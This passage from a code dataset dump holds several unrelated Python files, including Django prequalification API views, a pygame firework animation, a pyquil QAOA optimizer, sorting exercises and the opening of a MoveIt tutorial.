\"\"\"\n\n def post(self, request):\n # Check for ID of last account inquiry in session (from the credit app view)\n inquiry_id = request.session.get(INQUIRY_SESSION_KEY)\n if not inquiry_id:\n return Response(status=status.HTTP_204_NO_CONTENT)\n try:\n inquiry = AccountInquiryResult.objects.get(pk=inquiry_id)\n except AccountInquiryResult.DoesNotExist:\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Make sure we have an account number to work with\n account_number = inquiry.account_number\n if not account_number or account_number.startswith(\"xxxx\"):\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Perform another inquiry on the account\n request_ser = AccountInquirySerializer(\n data={\"account_number\": account_number}, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n result = request_ser.save()\n if result is None:\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Update the inquiry source to match the original inquiry\n result.credit_app_source = inquiry.credit_app_source\n result.prequal_response_source = inquiry.prequal_response_source\n result.save()\n # Update the session to have the new inquiry ID\n request.session[INQUIRY_SESSION_KEY] = result.pk\n # Return the results\n response_ser = AccountInquirySerializer(\n instance=result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n\nclass SubmitAccountInquiryView(generics.GenericAPIView):\n serializer_class = AccountInquirySerializer\n\n def post(self, request):\n # Perform an account inquiry using the submitted account number\n request_ser = self.get_serializer_class()(\n data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n result = request_ser.save()\n if result is None:\n return Response(status=status.HTTP_204_NO_CONTENT)\n # Update the session to have the new inquiry ID\n request.session[INQUIRY_SESSION_KEY] = result.pk\n # Return the results\n response_ser = self.get_serializer_class()(\n instance=result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n\nclass PreQualificationSDKMerchantNumView(generics.GenericAPIView):\n def get(self, request):\n # If this merchant number is used for following up on a prescreen offer, we have to use the API\n # merchant num, not the SDK merchant num.\n if request.GET.get(\"role\") == \"prescreen\":\n creds = APIMerchantNum.get_for_user(request.user)\n else:\n creds = SDKMerchantNum.get_for_user(request.user)\n return Response(\n {\n \"merchant_name\": creds.name,\n \"merchant_num\": creds.merchant_num,\n }\n )\n\n\nclass PreQualificationResumeView(generics.GenericAPIView):\n def get(self, request, signed_prequal_request_id):\n # Validate signed ID\n signer = signing.Signer()\n try:\n prequal_request_id = signer.unsign(signed_prequal_request_id)\n except signing.BadSignature:\n raise exceptions.SuspiciousOperation(\"Invalid Signature\")\n\n # Get and validate redirect URL\n redirect_url = self.request.GET.get(\"next\", \"/\")\n redirect_url_is_safe = is_safe_url(\n url=redirect_url,\n allowed_hosts=set((request.get_host(),)),\n require_https=request.is_secure(),\n )\n if not redirect_url_is_safe:\n redirect_url = \"/\"\n\n # Make sure request ID is valid\n try:\n prequal_request = PreQualificationRequest.objects.get(pk=prequal_request_id)\n except PreQualificationRequest.DoesNotExist:\n raise exceptions.SuspiciousOperation(\n \"PreQualificationRequest does not exist\"\n )\n\n # Put ID into session and redirect to next view\n request.session[PREQUAL_SESSION_KEY] = prequal_request.pk\n return redirect(redirect_url)\n\n\nclass PreQualificationRequestView(generics.GenericAPIView):\n serializer_class = PreQualificationRequestSerializer\n\n def get(self, request):\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n if not prequal_request_id:\n return Response(status=status.HTTP_204_NO_CONTENT)\n try:\n prequal_response = PreQualificationResponse.objects.get(\n request__id=prequal_request_id\n )\n except PreQualificationResponse.DoesNotExist:\n return Response(status=status.HTTP_204_NO_CONTENT)\n response_ser = PreQualificationResponseSerializer(\n instance=prequal_response, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n def post(self, request):\n request_ser = self.get_serializer_class()(\n data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n prequal_request = request_ser.save()\n try:\n prequal_response = prequal_request.response\n except PreQualificationResponse.DoesNotExist:\n return Response(status=status.HTTP_204_NO_CONTENT)\n request.session[PREQUAL_SESSION_KEY] = prequal_request.pk\n response_ser = PreQualificationResponseSerializer(\n instance=prequal_response, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n\nclass PreQualificationSDKResponseView(PreQualificationRequestView):\n serializer_class = PreQualificationSDKResponseSerializer\n\n\nclass PreQualificationSDKApplicationResultView(generics.GenericAPIView):\n serializer_class = PreQualificationSDKApplicationResultSerializer\n\n def get(self, request):\n # Try to find an existing SDK app result for this session\n sdk_application_result = self._get_sdk_app_result_from_session(request)\n if sdk_application_result is None:\n return Response(status=status.HTTP_204_NO_CONTENT)\n response_ser = self.get_serializer_class()(\n instance=sdk_application_result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n def post(self, request):\n # Try to find an existing SDK app result for this session\n instance = self._get_sdk_app_result_from_session(request)\n # Save the SDK app response data\n request_ser = self.get_serializer_class()(\n instance=instance, data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n sdk_application_result = request_ser.save()\n # Try to associate the SDK app result with the PreQual response data\n try:\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n prequal_response = PreQualificationResponse.objects.get(\n request__id=prequal_request_id\n )\n sdk_application_result.prequal_response = prequal_response\n sdk_application_result.save()\n except PreQualificationResponse.DoesNotExist:\n pass\n # Update the ID in the session\n request.session[SDK_APP_RESULT_SESSION_KEY] = sdk_application_result.pk\n if sdk_application_result.application_status == \"APPROVED\":\n wfrs_sdk_app_approved.send(\n sender=sdk_application_result.__class__, app=sdk_application_result\n )\n # Return the SDK app result data\n response_ser = self.get_serializer_class()(\n instance=sdk_application_result, context={\"request\": request}\n )\n return Response(response_ser.data)\n\n def _get_sdk_app_result_from_session(self, request):\n instance = None\n # Try looking up PreQualificationSDKApplicationResult by ID stored in the session\n sdk_app_result_id = request.session.get(SDK_APP_RESULT_SESSION_KEY)\n if sdk_app_result_id is not None:\n try:\n instance = PreQualificationSDKApplicationResult.objects.get(\n pk=sdk_app_result_id\n )\n except PreQualificationSDKApplicationResult.DoesNotExist:\n pass\n # Try looking up PreQualificationSDKApplicationResult by session's PreQualificationRequest ID\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n if prequal_request_id is not None:\n try:\n instance = PreQualificationSDKApplicationResult.objects.get(\n prequal_response__request__id=prequal_request_id\n )\n except PreQualificationSDKApplicationResult.DoesNotExist:\n pass\n return instance\n\n\nclass PreQualificationCustomerResponseView(views.APIView):\n def post(self, request):\n prequal_request_id = request.session.get(PREQUAL_SESSION_KEY)\n if not prequal_request_id:\n raise serializers.ValidationError(\n _(\"No pre-qualification response was found for this session.\")\n )\n try:\n prequal_response = PreQualificationResponse.objects.get(\n request__id=prequal_request_id\n )\n except PreQualificationResponse.DoesNotExist:\n raise serializers.ValidationError(\n _(\"No pre-qualification response was found for this session.\")\n )\n serializer = PreQualificationResponseSerializer(\n instance=prequal_response, data=request.data, context={\"request\": request}\n )\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return Response(serializer.data)\n","sub_path":"src/wellsfargo/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"636038326","text":"\n\nfrom xai.brain.wordbase.nouns._hook import _HOOK\n\n#calss header\nclass _HOOKING(_HOOK, ):\n\tdef __init__(self,): \n\t\t_HOOK.__init__(self)\n\t\tself.name = \"HOOKING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"hook\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_hooking.py","file_name":"_hooking.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"539726714","text":"import pygame as pg\nimport math\nimport numpy as np\nimport random\nfrom .Vec2D import Vec2D\nfrom .util import point_rot, clip, get_points\n\nclass Firework:\n FLYING = 1\n EXPLODING = 2\n FADING = 3\n FINISHED = 4\n\n def __init__(self, start, end, ToF, explosion_colour):\n self.start = start\n self.end = end\n self.flight_distance = (start-end).length()\n self.pos = start.copy()\n\n self.ToF = ToF\n self.elapsed_ToF = 0\n\n self.vel = (end-start)/ToF\n self.state = Firework.FLYING\n\n self.explosion_duration = 0.5\n self.elapsed_explosion_duration = 0\n\n self.fade_duration = 0.5\n self.elapsed_fade_duration = 0\n\n self.streak_colour = (155, 155, 155)\n self.explosion_colour = explosion_colour\n # self.explosion_colour = (0, 255, 0)\n\n self.total_rays = random.randint(8, 12)\n self.angles = np.linspace(0, 1, self.total_rays+1)[:-1] * math.pi * 2\n self.ray_dirs = [point_rot(Vec2D(0, 1), alpha) for alpha in self.angles]\n \n def is_finished(self):\n return (self.state == Firework.FINISHED)\n \n def update(self, dt):\n if self.is_finished():\n return\n \n if self.state == Firework.FLYING:\n self.pos += self.vel*dt\n self.elapsed_ToF = clip(self.elapsed_ToF+dt, 0, self.ToF)\n if self.elapsed_ToF >= self.ToF:\n self.state = Firework.EXPLODING\n return\n \n if self.state == Firework.EXPLODING:\n self.elapsed_explosion_duration = clip(\n self.elapsed_explosion_duration+dt, \n 0, self.explosion_duration)\n if self.elapsed_explosion_duration >= self.explosion_duration:\n self.state = Firework.FADING\n return\n \n if self.state == Firework.FADING:\n self.elapsed_fade_duration = clip(\n self.elapsed_fade_duration+dt,\n 0, self.fade_duration)\n if self.elapsed_fade_duration >= self.fade_duration:\n self.state = Firework.FINISHED\n return\n\n def render(self, surface):\n if self.is_finished():\n return\n\n if self.state == Firework.FLYING:\n self.render_streak(surface)\n elif self.state == Firework.EXPLODING:\n self.render_explosion(surface)\n elif self.state == Firework.FADING:\n self.render_fade(surface)\n \n def render_explosion(self, surface):\n prog = self.elapsed_explosion_duration / self.explosion_duration\n self.render_fireball(surface, prog)\n self.render_rays(surface, prog)\n \n def render_fade(self, surface):\n prog = self.elapsed_fade_duration / self.fade_duration\n alpha = int((1-prog)*255)\n\n image = pg.Surface(surface.get_size())\n image.set_colorkey((0, 0, 0))\n image.set_alpha(alpha)\n\n self.render_fireball(image, 1)\n self.render_rays(image, 1)\n\n surface.blit(image, (0, 0))\n\n def render_rays(self, surface, prog):\n # center of explosion\n pos = self.end\n max_length = 55\n\n upper = max_length*prog\n lower = max_length*0.2*prog\n\n ray_thickness = 5\n\n for alpha, ray_dir in zip(self.angles, self.ray_dirs):\n dim = Vec2D(ray_thickness, upper-lower)\n ray_pos = pos + ray_dir*(upper-lower)\n points = get_points(ray_pos, alpha, dim)\n points = [p.cast_tuple(int) for p in points]\n\n pg.draw.polygon(surface, self.explosion_colour, points)\n \n def render_fireball(self, surface, prog):\n # center of explosion\n pos = self.end\n max_explosion_radius = 40\n K_min = 0.25\n K = (1-prog)*(1-K_min) + K_min\n explosion_radius = max_explosion_radius * K\n\n pg.draw.circle(\n surface, self.explosion_colour,\n pos.cast_tuple(int), int(explosion_radius))\n \n def render_streak(self, surface):\n prog = self.elapsed_ToF / self.ToF\n K = math.cos(prog * math.pi * 2)\n K = K/2 + 0.5\n K = 1-K\n # K = min(0.8, K)\n # K = 1-abs(prog-0.5)*2\n\n direction = self.end-self.start\n p0 = self.start + direction*prog\n\n length = K*self.flight_distance*0.25\n\n p1 = p0 + direction.norm()*-length\n\n pg.draw.line(\n surface, self.streak_colour, \n p0.cast_tuple(int), p1.cast_tuple(int), 3)","sub_path":"src/emulator/Firework.py","file_name":"Firework.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"184096714","text":"\r\ndef largestSum(arr, n):\r\n\t\r\n\tresult = -2147483648\r\n\r\n\tfor i in range(n):\r\n\t\r\n\t\tcurr_sum = arr[i]\r\n\t\twhile (i + 1 < n and\r\n\t\t\tarr[i + 1] > arr[i]):\r\n\t\t\r\n\t\t\tcurr_sum += arr[i + 1]\r\n\t\t\ti += 1\r\n\t\t\r\n\t\tif (curr_sum > result):\r\n\t\t\tresult = curr_sum\r\n\t\r\n\treturn result\r\n\r\narr = [1, 1, 4, 7, 3, 6]\r\nn = len(arr)\r\nprint(\"Largest sum = \", largestSum(arr, n))\r\n\r\n","sub_path":"Largest_sum_contiguous_increasing_subarray.py","file_name":"Largest_sum_contiguous_increasing_subarray.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"646552014","text":"import pyquil.api as api\nfrom pyquil.api._qvm import ForestConnection, QVM\nfrom pyquil.device import NxDevice\nfrom pyquil.api._quantum_computer import QuantumComputer \nfrom pyquil.api._compiler import QVMCompiler\nfrom grove.pyqaoa.qaoa import QAOA\nfrom pyquil.paulis import PauliTerm, PauliSum\nfrom pyquil.gates import X, I\n# from grove.pyvqe.vqe import VQE\nfrom .vqe import VQE\n\nimport scipy.optimize\nimport numpy as np\nimport networkx as nx\nfrom functools import reduce\nfrom sympy import Add, Mul, Number\nfrom itertools import product\nimport time\n\nfrom .visualization import plot_energy_landscape, plot_variance_landscape, plot_optimization_trajectory\n\nimport pdb\n\ndef pass_fun(arg):\n pass\n\nclass OptimizationEngine(object):\n \"\"\"\n The optimization engine for the VQF algorithm.\n\n This class takes a problem encoded as clauses, further encodes it into hamiltonian\n and solves it using QAOA.\n\n Args:\n clauses (list): List of clauses (sympy expressions) representing the problem.\n m (int): Number to be factored. Needed only for the purpose of tagging result files.\n steps (int, optional): Number of steps in the QAOA algorithm. Default: 1\n grid_size (int, optional): The resolution of the grid for grid search. Default: None\n tol (float, optional): Parameter of BFGS optimization method. Gradient norm must be less than tol before successful termination. Default:1e-5\n gate_noise (float, optional): Specifies gate noise for qvm. Default: None.\n verbose (bool): Boolean flag, if True, information about the execution will be printed to the console. Default: False\n visualize (bool): Flag indicating if visualizations should be created. Default: False\n\n Attributes:\n clauses (list): See Args.\n grid_size (int): See Args.\n mapping (dict): Maps variables into qubit indices.\n qaoa_inst (object): Instance of QAOA class from Grove.\n samples (int): If noise model is active, specifies how many samples we should take for any given quantum program.\n ax (object): Matplotlib `axis` object, used for plotting optimization trajectory.\n\n \"\"\"\n def __init__(self, clauses, m=None, steps=1, grid_size=None, tol=1e-5, gate_noise=None, samples=None, verbose=False, visualize=False):\n self.clauses = clauses\n self.m = m\n self.verbose = verbose\n self.visualize = visualize\n self.gate_noise = gate_noise\n self.samples = samples\n if grid_size is None:\n self.grid_size = len(clauses) + len(qubits)\n else:\n self.grid_size = grid_size\n\n cost_operators, mapping = self.create_operators_from_clauses()\n self.mapping = mapping\n mixing_operators = self.create_mixing_operators()\n minimizer_kwargs = {'method': 'BFGS',\n 'options': {'gtol': tol, 'disp': False}}\n if self.verbose:\n print_fun = print\n else:\n print_fun = pass_fun\n\n qubits = list(range(len(mapping)));\n\n if gate_noise:\n pauli_channel = [gate_noise] * 3\n else:\n pauli_channel = None\n connection = ForestConnection()\n qvm = QVM(connection=connection, gate_noise=pauli_channel)\n topology = nx.complete_graph(len(qubits))\n device = NxDevice(topology=topology)\n qc = QuantumComputer(name=\"my_qvm\",\n qam=qvm,\n device=device,\n compiler=QVMCompiler(\n device=device,\n endpoint=connection.compiler_endpoint))\n\n vqe_option = {'disp': print_fun, 'return_all': True,\n 'samples': self.samples}\n\n\n self.qaoa_inst = QAOA(qc, \n qubits, \n steps=steps, \n init_betas=None, \n init_gammas=None,\n cost_ham=cost_operators,\n ref_ham=mixing_operators, \n minimizer=scipy.optimize.minimize,\n minimizer_kwargs=minimizer_kwargs,\n rand_seed=None,\n vqe_options=vqe_option, \n store_basis=True)\n\n self.ax = None\n\n def create_operators_from_clauses(self):\n \"\"\"\n Creates cost hamiltonian from clauses.\n For details see section IIC from the article.\n \"\"\"\n operators = []\n mapping = {}\n variable_counter = 0\n for clause in self.clauses:\n if clause == 0:\n continue\n variables = list(clause.free_symbols)\n for variable in variables:\n if str(variable) not in mapping.keys():\n mapping[str(variable)] = variable_counter\n variable_counter += 1\n pauli_terms = []\n quadratic_pauli_terms = []\n if type(clause) == Add:\n clause_terms = clause.args\n elif type(clause) == Mul:\n clause_terms = [clause]\n for single_term in clause_terms:\n if len(single_term.free_symbols) == 0:\n if self.verbose:\n print(\"Constant term\", single_term)\n pauli_terms.append(PauliTerm(\"I\", 0, int(single_term)))\n elif len(single_term.free_symbols) == 1:\n if self.verbose:\n print(\"Single term\", single_term)\n multiplier = 1\n if type(single_term) == Mul:\n multiplier = int(single_term.args[0])\n symbol = list(single_term.free_symbols)[0]\n symbol_id = mapping[str(symbol)]\n pauli_terms.append(PauliTerm(\"I\", symbol_id, 1/2*multiplier))\n pauli_terms.append(PauliTerm(\"Z\", symbol_id, -1/2*multiplier))\n elif len(single_term.free_symbols) == 2 and type(single_term) == Mul:\n if self.verbose:\n print(\"Double term\", single_term)\n multiplier = 1\n if isinstance(single_term.args[0], Number):\n multiplier = int(single_term.args[0])\n symbol_1 = list(single_term.free_symbols)[0]\n symbol_2 = list(single_term.free_symbols)[1]\n symbol_id_1 = mapping[str(symbol_1)]\n symbol_id_2 = mapping[str(symbol_2)]\n pauli_term_1 = PauliTerm(\"I\", symbol_id_1, 1/2*multiplier) - PauliTerm(\"Z\", symbol_id_1, 1/2*multiplier)\n pauli_term_2 = PauliTerm(\"I\", symbol_id_2, 1/2) - PauliTerm(\"Z\", symbol_id_2, 1/2)\n quadratic_pauli_terms.append(pauli_term_1 * pauli_term_2)\n else:\n Exception(\"Terms of orders higher than quadratic are not handled.\")\n\n clause_operator = PauliSum(pauli_terms)\n for quadratic_term in quadratic_pauli_terms:\n clause_operator += quadratic_term\n \n squared_clause_operator = clause_operator**2\n if self.verbose:\n print(\"C:\", clause_operator)\n print(\"C**2:\", squared_clause_operator)\n operators.append(squared_clause_operator)\n\n\n return operators, mapping\n\n def create_mixing_operators(self):\n \"\"\"\n Creates mixing hamiltonian. (eq. 10)\n \"\"\"\n\n mixing_operators = []\n \n for key, value in self.mapping.items():\n mixing_operators.append(PauliSum([PauliTerm(\"X\", value, -1.0)]))\n\n return mixing_operators\n\n def perform_qaoa(self):\n \"\"\"\n Finds optimal angles for QAOA.\n\n Returns:\n sampling_results (Counter): Counter, where each element represents a bitstring that has been obtained.\n mapping (dict): See class description.\n\n \"\"\"\n betas, gammas = self.simple_grid_search_angles(save_data=True)\n # betas, gammas = self.step_by_step_grid_search_angles()\n self.qaoa_inst.betas = betas\n self.qaoa_inst.gammas = gammas\n betas, gammas = self.get_angles()\n _, sampling_results = self.qaoa_inst.get_string(betas, gammas, samples=10000) \n return sampling_results, self.mapping\n\n def get_angles(self):\n \"\"\"\n Finds optimal angles with the quantum variational eigensolver method.\n \n It's direct copy of the function `get_angles` from Grove. I decided to copy it here\n to access to the optimization trajectory (`angles_history`).\n Returns:\n best_betas, best_gammas (np.arrays): best values of the betas and gammas found. \n\n \"\"\"\n stacked_params = np.hstack((self.qaoa_inst.betas, self.qaoa_inst.gammas))\n vqe = VQE(self.qaoa_inst.minimizer, minimizer_args=self.qaoa_inst.minimizer_args,\n minimizer_kwargs=self.qaoa_inst.minimizer_kwargs)\n cost_ham = reduce(lambda x, y: x + y, self.qaoa_inst.cost_ham)\n # maximizing the cost function!\n param_prog = self.qaoa_inst.get_parameterized_program()\n result = vqe.vqe_run(param_prog, cost_ham, stacked_params, qc=self.qaoa_inst.qc,\n **self.qaoa_inst.vqe_options)\n best_betas = result.x[:self.qaoa_inst.steps]\n best_gammas = result.x[self.qaoa_inst.steps:]\n optimization_trajectory = result.iteration_params\n energy_history = result.expectation_vals\n\n if self.ax is not None and self.visualize and self.qaoa_inst.steps==1:\n plot_optimization_trajectory(self.ax, optimization_trajectory)\n return best_betas, best_gammas\n\n def simple_grid_search_angles(self, label, save_data=False):\n \"\"\"\n Finds optimal angles for QAOA by performing grid search on all the angles.\n This is not recommended for higher values of steps parameter, \n since it results in grid_size**(2*steps) evaluations.\n\n Returns:\n best_betas, best_gammas (np.arrays): best values of the betas and gammas found. \n\n \"\"\"\n best_betas = None\n best_gammas = None\n best_energy = np.inf\n\n # For some reasons np.meshgrid returns columns in order, where values in second\n # grow slower than in the first one. This a fix to it.\n if self.qaoa_inst.steps == 1:\n column_order = [0]\n else:\n column_order = [1, 0] + list(range(2, self.qaoa_inst.steps))\n\n new_indices = np.argsort(column_order)\n beta_ranges = [np.linspace(0, np.pi, self.grid_size)] * self.qaoa_inst.steps\n all_betas = np.vstack(np.meshgrid(*beta_ranges)).reshape(self.qaoa_inst.steps, -1).T\n all_betas = all_betas[:, column_order]\n\n gamma_ranges = [np.linspace(0, 2*np.pi, self.grid_size)] * self.qaoa_inst.steps\n all_gammas = np.vstack(np.meshgrid(*gamma_ranges)).reshape(self.qaoa_inst.steps, -1).T \n all_gammas = all_gammas[:, column_order]\n\n\n vqe = VQE(self.qaoa_inst.minimizer, minimizer_args=self.qaoa_inst.minimizer_args,\n minimizer_kwargs=self.qaoa_inst.minimizer_kwargs)\n cost_hamiltonian = reduce(lambda x, y: x + y, self.qaoa_inst.cost_ham)\n all_energies = []\n data_to_save = []\n if save_data:\n file_name = label + \".csv\"\n for betas in all_betas:\n for gammas in all_gammas:\n stacked_params = np.hstack((betas, gammas))\n program = self.qaoa_inst.get_parameterized_program()\n energy = vqe.expectation(program(stacked_params), cost_hamiltonian, self.samples, self.qaoa_inst.qc)\n all_energies.append(energy)\n print(betas, gammas, energy, end=\"\\r\")\n if save_data:\n data_to_save.append(np.hstack([betas, gammas, energy]))\n if energy < best_energy:\n best_energy = energy\n best_betas = betas\n best_gammas = gammas\n if self.verbose:\n print(\"Lowest energy:\", best_energy)\n print(\"Angles:\", best_betas, best_gammas)\n if save_data:\n np.savetxt(file_name, np.array(data_to_save), delimiter=\",\")\n\n if self.visualize:\n if self.qaoa_inst.steps == 1:\n self.ax = plot_energy_landscape(all_betas, all_gammas, np.array(all_energies), title=label, log_legend=False)\n self.ax = plot_energy_landscape(all_betas, all_gammas, np.array(all_energies), title=label+\"_log\", log_legend=True)\n else:\n plot_variance_landscape(all_betas, all_gammas, np.array(all_energies))\n\n return best_betas, best_gammas\n\n def step_by_step_grid_search_angles(self):\n \"\"\"\n Finds optimal angles for QAOA by performing \"step-by-step\" grid search.\n It finds optimal angles by performing grid search on the QAOA instance with steps=1.\n Then it fixes these angles and performs grid search on the second pair of angles.\n This method requires steps*grid_size**2 evaluations and hence is more suitable\n for higger values of steps.\n\n Returns:\n best_betas, best_gammas (np.arrays): best values of the betas and gammas found. \n\n \"\"\"\n\n max_step = self.qaoa_inst.steps\n self.qaoa_inst.betas = np.array([])\n self.qaoa_inst.gammas = np.array([])\n best_betas = np.array([])\n best_gammas = np.array([])\n for current_step in range(1, max_step+1):\n if self.verbose:\n print(\"step:\", current_step, \"\\n\")\n beta, gamma = self.one_step_grid_search(current_step)\n best_betas = np.append(best_betas, beta)\n best_gammas = np.append(best_gammas, gamma)\n self.qaoa_inst.betas = best_betas\n self.qaoa_inst.gammas = best_gammas\n\n return best_betas, best_gammas\n\n def one_step_grid_search(self, current_step):\n \"\"\"\n Grid search on n-th pair of QAOA angles, where n=current_step.\n\n Args:\n current_step (int): specify on which layer do we perform search.\n\n Returns:\n best_beta, best_gamma (floats): best values of the beta and gamma found. \n \"\"\"\n self.qaoa_inst.steps = current_step\n best_beta = None\n best_gamma = None\n best_energy = np.inf\n\n fixed_betas = self.qaoa_inst.betas\n fixed_gammas = self.qaoa_inst.gammas\n beta_range = np.linspace(0, np.pi, self.grid_size)\n gamma_range = np.linspace(0, 2*np.pi, self.grid_size)\n\n vqe = VQE(self.qaoa_inst.minimizer, minimizer_args=self.qaoa_inst.minimizer_args,\n minimizer_kwargs=self.qaoa_inst.minimizer_kwargs)\n cost_hamiltonian = reduce(lambda x, y: x + y, self.qaoa_inst.cost_ham)\n for beta in beta_range:\n for gamma in gamma_range:\n betas = np.append(fixed_betas, beta)\n gammas = np.append(fixed_gammas, gamma)\n stacked_params = np.hstack((betas, gammas))\n program = self.qaoa_inst.get_parameterized_program()\n energy = vqe.expectation(program(stacked_params), cost_hamiltonian, self.samples, self.qaoa_inst.qc)\n print(beta, gamma, end=\"\\r\")\n if energy < best_energy:\n best_energy = energy\n best_beta = beta\n best_gamma = gamma\n\n return best_beta, best_gamma\n\n","sub_path":"research/2019_05_12_visualize_optimization_space/src/vqf/optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":15686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"430427759","text":"from django.test import TestCase\nfrom django.core.wsgi import WSGIHandler\nfrom molly.test import TestCase as MollyTestCase\n\nimport mock\n\n\nclass ApplicationStartedTests(TestCase):\n\n def test_application_started_send(self):\n with mock.patch('molly.signals.application_started.send') as send:\n application = WSGIHandler()\n self.assertTrue(send.called)\n\n send.assert_called_once_with(\n sender=WSGIHandler, application=application\n )\n\n def test_name(self):\n self.assertEqual(WSGIHandler.__init__.__name__, '__init__')\n\n\nclass TestMollyTestCase(MollyTestCase):\n\n def test_appliction_instatiated(self):\n self.assertTrue(self.application is not None)\n self.assertIsInstance(self.application, WSGIHandler)\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"605871327","text":"import time\nfrom random import randint\n\n#n = int(input(\"Enter a number for n: \"))\nn=7000\nmyList = []\n\nfor x in range(n):\n\ti = randint(1,10000)\n\tmyList.append(i)\n\n\n#insertSort sorts a list by insertion\n#merges two sorted lists into 1 sorted list\ndef merge(list1, list2):\n\tsorted = []\n\ti = 0\n\tj = 0\n\t#while both lists have not made it to the end\n\twhile i != len(list1) and j != len(list2):\n\t\t# if the element in list 1 is smaller, add it to the sorted list\n\t\tif list1[i] < list2[j]:\n\t\t\tsorted.append(list1[i])\n\t\t\ti += 1\n\t\t#else add the element from list 2 to the sorted list\n\t\telse:\n\t\t\tsorted.append(list2[j])\n\t\t\tj += 1\n\t#if some elements remian in list 1 add them all to the sorted list\n\tif i < len(list1):\n\t\twhile i < len(list1):\n\t\t\tsorted.append(list1[i])\n\t\t\ti += 1\n\t#if some elements remain in list 2 add them all to the sorted list\n\telse:\n\t\twhile j < len(list2):\n\t\t\tsorted.append(list2[j])\n\t\t\tj += 1\n\treturn sorted\n\n#mergesort calls itself recursively until there is 1 or fewer items in each list\n#it then merges the two lists together.\ndef mergeSort(myList):\n\tif len(myList) < 2:\n\t\treturn myList\n\tmid = len(myList)/2\n\tlist1 = mergeSort(myList[:mid])\n\tlist2 = mergeSort(myList[mid:])\n\treturn merge(list1, list2)\n\n\n#collects the time it takes to run \nstart = time.time()\nmyList = mergeSort(myList)\nend = time.time()\n\nprint(end - start)\n\n#outFile = open(\"insert.out\", \"w\")\n\n#retransforms the data into a string\n#myList = map(str, myList)\n#joins all list elements together as a string with spaces between\n#myString = \" \".join(myList)\n\n#outFile.write(myString)\n\n#outFile.close()","sub_path":"Homework1/mergesortv2.py","file_name":"mergesortv2.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"163903129","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nclass Student(object):\n\t\"\"\"docstring for Student\"\"\"\n\tdef __init__(self, name,score):\n\t\tsuper(Student, self).__init__()\n\t\tself.__name = name\n\t\tself.__score = score\n\t\t\n\tdef print_score(self):\n\t\tprint('%s %s' % (self.__name,self.__score))\n\n\tdef get_grade(self):\n\t\tif self.__score >= 90:\n\t\t\treturn 'A'\n\t\telif self.__score >= 60:\n\t\t\treturn 'B'\n\t\telse:\n\t\t\treturn 'C'\n\nbart = Student('Bart Simpson',59)\n# print(bart.name)\n# print(bart.score)\nbart.print_score()\n\nlisa = Student('Lisa', 99)\nbart1 = Student('Bart', 59)\n# print(lisa.name, lisa.get_grade())\n# print(bart1.name, bart1.get_grade())","sub_path":"protected_student.py","file_name":"protected_student.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"459681641","text":"#!/usr/bin/env python\n\nimport sys\nimport copy\nimport rospy\nimport moveit_commander\nimport moveit_msgs.msg\nimport geometry_msgs.msg\nfrom math import pi\nfrom std_msgs.msg import String\nfrom moveit_commander.conversions import pose_to_list\n## END_SUB_TUTORIAL\n\n\ndef all_close(goal, actual, tolerance):\n \"\"\"\n Convenience method for testing if a list of values are within a tolerance of their counterparts in another list\n @param: goal A list of floats, a Pose or a PoseStamped\n @param: actual A list of floats, a Pose or a PoseStamped\n @param: tolerance A float\n @returns: bool\n \"\"\"\n all_equal = True\n if type(goal) is list:\n for index in range(len(goal)):\n if abs(actual[index] - goal[index]) > tolerance:\n return False\n\n elif type(goal) is geometry_msgs.msg.PoseStamped:\n return all_close(goal.pose, actual.pose, tolerance)\n\n elif type(goal) is geometry_msgs.msg.Pose:\n return all_close(pose_to_list(goal), pose_to_list(actual), tolerance)\n\n return True\n\n\nclass MoveGroupPythonIntefaceTutorial(object):\n \"\"\"MoveGroupPythonIntefaceTutorial\"\"\"\n def __init__(self):\n super(MoveGroupPythonIntefaceTutorial, self).__init__()\n\n ## BEGIN_SUB_TUTORIAL setup\n ##\n ## First initialize `moveit_commander`_ and a `rospy`_ node:\n moveit_commander.roscpp_initialize(sys.argv)\n rospy.init_node('move_group_python_interface_tutorial', anonymous=True)\n\n ## Instantiate a `RobotCommander`_ object. Provides information such as the robot's\n ## kinematic model and the robot's current joint states\n robot = moveit_commander.RobotCommander()\n\n ## Instantiate a `PlanningSceneInterface`_ object. This provides a remote interface\n ## for getting, setting, and updating the robot's internal understanding of the\n ## surrounding world:\n 